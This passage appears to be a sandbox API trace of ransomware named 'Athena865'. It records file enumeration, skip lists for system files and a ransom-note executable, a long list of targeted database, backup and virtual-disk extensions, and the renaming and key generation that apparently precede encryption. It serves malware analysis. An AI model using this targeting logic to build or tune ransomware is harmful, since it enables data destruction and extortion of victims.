[0102.387] lstrlenW (lpString="nyf") returned 3 [0102.387] lstrcmpiW (lpString1="-ms", lpString2="nyf") returned -1 [0102.387] lstrlenW (lpString="odb") returned 3 [0102.387] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1 [0102.388] lstrlenW (lpString="odb") returned 3 [0102.388] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1 [0102.388] lstrlenW (lpString="oqy") returned 3 [0102.388] lstrcmpiW (lpString1="-ms", lpString2="oqy") returned -1 [0102.388] lstrlenW (lpString="ora") returned 3 [0102.388] lstrcmpiW (lpString1="-ms", lpString2="ora") returned -1 [0102.388] lstrlenW (lpString="orx") returned 3 [0102.388] lstrcmpiW (lpString1="-ms", lpString2="orx") returned -1 [0102.388] lstrlenW (lpString="owc") returned 3 [0102.388] lstrcmpiW (lpString1="-ms", lpString2="owc") returned -1 [0102.388] lstrlenW (lpString="p96") returned 3 [0102.388] lstrcmpiW (lpString1="-ms", lpString2="p96") returned -1 [0102.388] lstrlenW (lpString="p97") returned 3 [0102.388] lstrcmpiW (lpString1="-ms", lpString2="p97") returned -1 [0102.388] lstrlenW (lpString="pan") returned 3 [0102.388] lstrcmpiW (lpString1="-ms", lpString2="pan") returned -1 [0102.388] lstrlenW (lpString="pdb") returned 3 [0102.388] lstrcmpiW (lpString1="-ms", lpString2="pdb") returned -1 [0102.388] lstrlenW (lpString="pdm") returned 3 [0102.388] lstrcmpiW (lpString1="-ms", lpString2="pdm") returned -1 [0102.388] lstrlenW (lpString="pnz") returned 3 [0102.388] lstrcmpiW (lpString1="-ms", lpString2="pnz") returned -1 [0102.388] lstrlenW (lpString="qry") returned 3 [0102.388] lstrcmpiW (lpString1="-ms", lpString2="qry") returned -1 [0102.388] lstrlenW (lpString="qvd") returned 3 [0102.388] lstrcmpiW (lpString1="-ms", lpString2="qvd") returned -1 [0102.388] lstrlenW (lpString="rbf") returned 3 [0102.388] lstrcmpiW (lpString1="-ms", lpString2="rbf") returned -1 [0102.388] lstrlenW (lpString="rctd") returned 4 [0102.388] lstrcmpiW (lpString1="s-ms", lpString2="rctd") returned 1 [0102.388] lstrlenW (lpString="rod") returned 3 [0102.388] lstrcmpiW (lpString1="-ms", lpString2="rod") returned -1 [0102.388] lstrlenW (lpString="rodx") returned 4 [0102.389] lstrcmpiW (lpString1="s-ms", lpString2="rodx") returned 1 [0102.389] lstrlenW (lpString="rpd") returned 3 [0102.389] lstrcmpiW (lpString1="-ms", lpString2="rpd") returned -1 [0102.389] lstrlenW (lpString="rsd") returned 3 [0102.389] lstrcmpiW (lpString1="-ms", lpString2="rsd") returned -1 [0102.389] lstrlenW (lpString="sas7bdat") returned 8 [0102.389] lstrcmpiW (lpString1="tions-ms", lpString2="sas7bdat") returned 1 [0102.389] lstrlenW (lpString="sbf") returned 3 [0102.389] lstrcmpiW (lpString1="-ms", lpString2="sbf") returned -1 [0102.389] lstrlenW (lpString="scx") returned 3 [0102.389] lstrcmpiW (lpString1="-ms", lpString2="scx") returned -1 [0102.389] lstrlenW (lpString="sdb") returned 3 [0102.389] lstrcmpiW (lpString1="-ms", lpString2="sdb") returned -1 [0102.389] lstrlenW (lpString="sdc") returned 3 [0102.389] lstrcmpiW (lpString1="-ms", lpString2="sdc") returned -1 [0102.389] lstrlenW (lpString="sdf") returned 3 [0102.389] lstrcmpiW (lpString1="-ms", lpString2="sdf") returned -1 [0102.389] lstrlenW (lpString="sis") returned 3 [0102.389] lstrcmpiW (lpString1="-ms", lpString2="sis") returned -1 [0102.389] lstrlenW (lpString="spq") returned 3 [0102.389] lstrcmpiW (lpString1="-ms", lpString2="spq") returned -1 [0102.389] lstrlenW (lpString="te") returned 2 [0102.389] lstrcmpiW (lpString1="ms", lpString2="te") returned -1 [0102.389] lstrlenW (lpString="teacher") returned 7 [0102.389] lstrcmpiW (lpString1="ions-ms", lpString2="teacher") returned -1 [0102.389] lstrlenW (lpString="tmd") returned 3 [0102.389] lstrcmpiW (lpString1="-ms", lpString2="tmd") returned -1 [0102.389] lstrlenW (lpString="tps") returned 3 [0102.389] lstrcmpiW (lpString1="-ms", lpString2="tps") returned -1 [0102.389] lstrlenW (lpString="trc") returned 3 [0102.389] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1 [0102.389] lstrlenW (lpString="trc") returned 3 [0102.389] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1 [0102.389] lstrlenW (lpString="trm") returned 3 [0102.390] lstrcmpiW (lpString1="-ms", lpString2="trm") returned -1 [0102.390] lstrlenW (lpString="udb") returned 3 [0102.390] lstrcmpiW (lpString1="-ms", lpString2="udb") returned -1 [0102.390] lstrlenW (lpString="udl") returned 3 [0102.390] lstrcmpiW (lpString1="-ms", lpString2="udl") returned -1 [0102.390] lstrlenW (lpString="usr") returned 3 [0102.390] lstrcmpiW (lpString1="-ms", lpString2="usr") returned -1 [0102.390] lstrlenW (lpString="v12") returned 3 [0102.390] lstrcmpiW (lpString1="-ms", lpString2="v12") returned -1 [0102.390] lstrlenW (lpString="vis") returned 3 [0102.390] lstrcmpiW (lpString1="-ms", lpString2="vis") returned -1 [0102.390] lstrlenW (lpString="vpd") returned 3 [0102.390] lstrcmpiW (lpString1="-ms", lpString2="vpd") returned -1 [0102.390] lstrlenW (lpString="vvv") returned 3 [0102.390] lstrcmpiW (lpString1="-ms", lpString2="vvv") returned -1 [0102.390] lstrlenW (lpString="wdb") returned 3 [0102.390] lstrcmpiW (lpString1="-ms", lpString2="wdb") returned -1 [0102.390] lstrlenW (lpString="wmdb") returned 4 [0102.390] lstrcmpiW (lpString1="s-ms", lpString2="wmdb") returned -1 [0102.390] lstrlenW (lpString="wrk") returned 3 [0102.390] lstrcmpiW (lpString1="-ms", lpString2="wrk") returned -1 [0102.390] lstrlenW (lpString="xdb") returned 3 [0102.390] lstrcmpiW (lpString1="-ms", lpString2="xdb") returned -1 [0102.390] lstrlenW (lpString="xld") returned 3 [0102.390] lstrcmpiW (lpString1="-ms", lpString2="xld") returned -1 [0102.390] lstrlenW (lpString="xmlff") returned 5 [0102.390] lstrcmpiW (lpString1="ns-ms", lpString2="xmlff") returned -1 [0102.390] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms.Athena865") returned 127 [0102.390] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\automaticdestinations\\1b4dd67f29cb1962.automaticdestinations-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\automaticdestinations\\1b4dd67f29cb1962.automaticdestinations-ms.athena865"), dwFlags=0x1) returned 1 [0102.392] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\AutomaticDestinations\\1b4dd67f29cb1962.automaticDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\automaticdestinations\\1b4dd67f29cb1962.automaticdestinations-ms.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0102.392] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=96256) returned 1 [0102.392] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.392] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.392] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.392] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.393] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.393] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.393] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17b00, lpName=0x0) returned 0x17c [0102.393] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17b00) returned 0x100000 [0102.396] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.397] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.397] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a800 [0102.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a800 | out: hHeap=0x4f0000) returned 1 [0102.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.398] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.399] CloseHandle (hObject=0x17c) returned 1 [0102.399] CloseHandle (hObject=0x154) returned 1 [0102.400] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.400] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.400] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.401] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc606a140, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc606a140, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xa5f178d0, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7e4dca80246863e3.automaticDestinations-ms", cAlternateFileName="7E4DCA~1.AUT")) returned 1 [0102.401] lstrcmpiW (lpString1="7e4dca80246863e3.automaticDestinations-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.401] lstrcmpiW (lpString1="7e4dca80246863e3.automaticDestinations-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.401] lstrcmpiW (lpString1="7e4dca80246863e3.automaticDestinations-ms", lpString2=".") returned 1 [0102.401] lstrcmpiW (lpString1="7e4dca80246863e3.automaticDestinations-ms", lpString2="..") returned 1 [0102.401] lstrcmpiW (lpString1="7e4dca80246863e3.automaticDestinations-ms", lpString2="windows") returned -1 [0102.401] lstrcmpiW (lpString1="7e4dca80246863e3.automaticDestinations-ms", lpString2="bootmgr") returned -1 [0102.401] lstrcmpiW (lpString1="7e4dca80246863e3.automaticDestinations-ms", lpString2="temp") returned -1 [0102.401] lstrcmpiW (lpString1="7e4dca80246863e3.automaticDestinations-ms", lpString2="pagefile.sys") returned -1 [0102.401] lstrcmpiW (lpString1="7e4dca80246863e3.automaticDestinations-ms", lpString2="boot") returned -1 [0102.401] lstrcmpiW (lpString1="7e4dca80246863e3.automaticDestinations-ms", lpString2="ids.txt") returned -1 [0102.401] lstrcmpiW (lpString1="7e4dca80246863e3.automaticDestinations-ms", lpString2="ntuser.dat") returned -1 [0102.401] lstrcmpiW (lpString1="7e4dca80246863e3.automaticDestinations-ms", lpString2="perflogs") returned -1 [0102.401] lstrcmpiW (lpString1="7e4dca80246863e3.automaticDestinations-ms", lpString2="MSBuild") returned -1 [0102.401] lstrlenW (lpString="7e4dca80246863e3.automaticDestinations-ms") returned 41 [0102.401] lstrcpyW (in: lpString1=0x241e8e0, lpString2="7e4dca80246863e3.automaticDestinations-ms" | out: lpString1="7e4dca80246863e3.automaticDestinations-ms") returned="7e4dca80246863e3.automaticDestinations-ms" [0102.401] lstrlenW (lpString="7e4dca80246863e3.automaticDestinations-ms") returned 41 [0102.401] lstrlenW (lpString="Athena865") returned 9 [0102.402] lstrcmpiW (lpString1="ations-ms", lpString2="Athena865") returned 1 [0102.402] lstrlenW (lpString=".dll") returned 4 [0102.402] lstrcmpiW (lpString1="7e4dca80246863e3.automaticDestinations-ms", lpString2=".dll") returned 1 [0102.402] lstrlenW (lpString=".lnk") returned 4 [0102.402] lstrcmpiW (lpString1="7e4dca80246863e3.automaticDestinations-ms", lpString2=".lnk") returned 1 [0102.402] lstrlenW (lpString=".ini") returned 4 [0102.402] lstrcmpiW (lpString1="7e4dca80246863e3.automaticDestinations-ms", lpString2=".ini") returned 1 [0102.402] lstrlenW (lpString=".sys") returned 4 [0102.402] lstrcmpiW (lpString1="7e4dca80246863e3.automaticDestinations-ms", lpString2=".sys") returned 1 [0102.402] lstrlenW (lpString="7e4dca80246863e3.automaticDestinations-ms") returned 41 [0102.402] lstrlenW (lpString="bak") returned 3 [0102.402] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1 [0102.402] lstrlenW (lpString="ba_") returned 3 [0102.402] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1 [0102.402] lstrlenW (lpString="dbb") returned 3 [0102.402] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1 [0102.402] lstrlenW (lpString="vmdk") returned 4 [0102.402] lstrcmpiW (lpString1="s-ms", lpString2="vmdk") returned -1 [0102.402] lstrlenW (lpString="rar") returned 3 [0102.402] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1 [0102.402] lstrlenW (lpString="zip") returned 3 [0102.402] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1 [0102.402] lstrlenW (lpString="tgz") returned 3 [0102.402] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1 [0102.402] lstrlenW (lpString="vbox") returned 4 [0102.402] lstrcmpiW (lpString1="s-ms", lpString2="vbox") returned -1 [0102.402] lstrlenW (lpString="vdi") returned 3 [0102.402] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1 [0102.402] lstrlenW (lpString="vhd") returned 3 [0102.402] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1 [0102.402] lstrlenW (lpString="vhdx") returned 4 [0102.402] lstrcmpiW (lpString1="s-ms", lpString2="vhdx") returned -1 [0102.402] lstrlenW (lpString="avhd") returned 4 [0102.403] lstrcmpiW (lpString1="s-ms", lpString2="avhd") returned 1 [0102.403] lstrlenW (lpString="db") returned 2 [0102.403] lstrcmpiW (lpString1="ms", lpString2="db") returned 1 [0102.403] lstrlenW (lpString="db2") returned 3 [0102.403] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1 [0102.403] lstrlenW (lpString="db3") returned 3 [0102.403] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1 [0102.403] lstrlenW (lpString="dbf") returned 3 [0102.403] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1 [0102.403] lstrlenW (lpString="mdf") returned 3 [0102.403] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1 [0102.403] lstrlenW (lpString="mdb") returned 3 [0102.403] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1 [0102.403] lstrlenW (lpString="sql") returned 3 [0102.403] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1 [0102.403] lstrlenW (lpString="sqlite") returned 6 [0102.403] lstrcmpiW (lpString1="ons-ms", lpString2="sqlite") returned -1 [0102.403] lstrlenW (lpString="sqlite3") returned 7 [0102.403] lstrcmpiW (lpString1="ions-ms", lpString2="sqlite3") returned -1 [0102.403] lstrlenW (lpString="sqlitedb") returned 8 [0102.403] lstrcmpiW (lpString1="tions-ms", lpString2="sqlitedb") returned 1 [0102.403] lstrlenW (lpString="xml") returned 3 [0102.403] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1 [0102.403] lstrlenW (lpString="$er") returned 3 [0102.403] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1 [0102.403] lstrlenW (lpString="4dd") returned 3 [0102.403] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1 [0102.403] lstrlenW (lpString="4dl") returned 3 [0102.403] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1 [0102.403] lstrlenW (lpString="^^^") returned 3 [0102.403] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1 [0102.403] lstrlenW (lpString="abs") returned 3 [0102.403] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1 [0102.404] lstrlenW (lpString="abx") returned 3 [0102.404] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1 [0102.404] lstrlenW (lpString="accdb") returned 5 [0102.404] lstrcmpiW (lpString1="ns-ms", lpString2="accdb") returned 1 [0102.404] lstrlenW (lpString="accdc") returned 5 [0102.404] lstrcmpiW (lpString1="ns-ms", lpString2="accdc") returned 1 [0102.404] lstrlenW (lpString="accde") returned 5 [0102.404] lstrcmpiW (lpString1="ns-ms", lpString2="accde") returned 1 [0102.404] lstrlenW (lpString="accdr") returned 5 [0102.404] lstrcmpiW (lpString1="ns-ms", lpString2="accdr") returned 1 [0102.404] lstrlenW (lpString="accdt") returned 5 [0102.404] lstrcmpiW (lpString1="ns-ms", lpString2="accdt") returned 1 [0102.404] lstrlenW (lpString="accdw") returned 5 [0102.404] lstrcmpiW (lpString1="ns-ms", lpString2="accdw") returned 1 [0102.404] lstrlenW (lpString="accft") returned 5 [0102.404] lstrcmpiW (lpString1="ns-ms", lpString2="accft") returned 1 [0102.404] lstrlenW (lpString="adb") returned 3 [0102.404] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0102.404] lstrlenW (lpString="adb") returned 3 [0102.404] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0102.404] lstrlenW (lpString="ade") returned 3 [0102.404] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1 [0102.404] lstrlenW (lpString="adf") returned 3 [0102.404] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1 [0102.404] lstrlenW (lpString="adn") returned 3 [0102.404] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1 [0102.404] lstrlenW (lpString="adp") returned 3 [0102.404] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1 [0102.404] lstrlenW (lpString="alf") returned 3 [0102.404] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1 [0102.404] lstrlenW (lpString="ask") returned 3 [0102.404] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1 [0102.404] lstrlenW (lpString="btr") returned 3 [0102.404] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1 [0102.405] lstrlenW (lpString="cat") returned 3 [0102.405] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1 [0102.405] lstrlenW (lpString="cdb") returned 3 [0102.405] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1 [0102.405] lstrlenW (lpString="ckp") returned 3 [0102.405] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1 [0102.405] lstrlenW (lpString="cma") returned 3 [0102.405] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1 [0102.405] lstrlenW (lpString="cpd") returned 3 [0102.405] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1 [0102.405] lstrlenW (lpString="dacpac") returned 6 [0102.405] lstrcmpiW (lpString1="ons-ms", lpString2="dacpac") returned 1 [0102.405] lstrlenW (lpString="dad") returned 3 [0102.405] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1 [0102.405] lstrlenW (lpString="dadiagrams") returned 10 [0102.405] lstrcmpiW (lpString1="nations-ms", lpString2="dadiagrams") returned 1 [0102.405] lstrlenW (lpString="daschema") returned 8 [0102.405] lstrcmpiW (lpString1="tions-ms", lpString2="daschema") returned 1 [0102.405] lstrlenW (lpString="db-journal") returned 10 [0102.405] lstrcmpiW (lpString1="nations-ms", lpString2="db-journal") returned 1 [0102.405] lstrlenW (lpString="db-shm") returned 6 [0102.405] lstrcmpiW (lpString1="ons-ms", lpString2="db-shm") returned 1 [0102.405] lstrlenW (lpString="db-wal") returned 6 [0102.405] lstrcmpiW (lpString1="ons-ms", lpString2="db-wal") returned 1 [0102.405] lstrlenW (lpString="dbc") returned 3 [0102.405] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1 [0102.405] lstrlenW (lpString="dbs") returned 3 [0102.405] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1 [0102.405] lstrlenW (lpString="dbt") returned 3 [0102.405] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1 [0102.405] lstrlenW (lpString="dbv") returned 3 [0102.405] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1 [0102.405] lstrlenW (lpString="dbx") returned 3 [0102.406] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1 [0102.406] lstrlenW (lpString="dcb") returned 3 [0102.406] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1 [0102.406] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms.Athena865") returned 127 [0102.406] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\automaticdestinations\\7e4dca80246863e3.automaticdestinations-ms"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\automaticdestinations\\7e4dca80246863e3.automaticdestinations-ms.athena865"), dwFlags=0x1) returned 1 [0102.409] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\AutomaticDestinations\\7e4dca80246863e3.automaticDestinations-ms.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\automaticdestinations\\7e4dca80246863e3.automaticdestinations-ms.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0102.411] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6656) returned 1 [0102.412] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0102.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540c58 [0102.413] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0102.414] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5193c0) returned 1 [0102.415] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0102.416] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.416] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d00, lpName=0x0) returned 0x17c [0102.417] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d00) returned 0x100000 [0102.418] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5193c0) returned 1 [0102.419] CryptGenRandom (in: hProv=0x5193c0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0102.419] CryptReleaseContext (hProv=0x5193c0, dwFlags=0x0) returned 1 [0102.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0102.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0102.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528250 [0102.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0102.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528250 | out: hHeap=0x4f0000) returned 1 [0102.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0102.419] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a800 [0102.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0102.419] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a800 | out: hHeap=0x4f0000) returned 1 [0102.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0102.420] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0102.420] CloseHandle (hObject=0x17c) returned 1 [0102.420] CloseHandle (hObject=0x154) returned 1 [0102.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540c58 | out: hHeap=0x4f0000) returned 1 [0102.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0102.420] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0102.420] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bce65c0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x4bce65c0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x4bce4e50, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eb282ead62b4db87.automaticDestinations-ms", cAlternateFileName="EB282E~1.AUT")) returned 1 [0102.420] lstrcmpiW (lpString1="eb282ead62b4db87.automaticDestinations-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.420] lstrcmpiW (lpString1="eb282ead62b4db87.automaticDestinations-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.420] lstrcmpiW (lpString1="eb282ead62b4db87.automaticDestinations-ms", lpString2=".") returned 1 [0102.420] lstrcmpiW (lpString1="eb282ead62b4db87.automaticDestinations-ms", lpString2="..") returned 1 [0102.420] lstrcmpiW (lpString1="eb282ead62b4db87.automaticDestinations-ms", lpString2="windows") returned -1 [0102.420] lstrcmpiW (lpString1="eb282ead62b4db87.automaticDestinations-ms", lpString2="bootmgr") returned 1 [0102.420] lstrcmpiW (lpString1="eb282ead62b4db87.automaticDestinations-ms", lpString2="temp") returned -1 [0102.420] lstrcmpiW (lpString1="eb282ead62b4db87.automaticDestinations-ms", lpString2="pagefile.sys") returned -1 [0102.420] lstrcmpiW (lpString1="eb282ead62b4db87.automaticDestinations-ms", lpString2="boot") returned 1 [0102.420] lstrcmpiW (lpString1="eb282ead62b4db87.automaticDestinations-ms", lpString2="ids.txt") returned -1 [0102.420] lstrcmpiW (lpString1="eb282ead62b4db87.automaticDestinations-ms", lpString2="ntuser.dat") returned -1 [0102.420] lstrcmpiW (lpString1="eb282ead62b4db87.automaticDestinations-ms", lpString2="perflogs") returned -1 [0102.420] lstrcmpiW (lpString1="eb282ead62b4db87.automaticDestinations-ms", 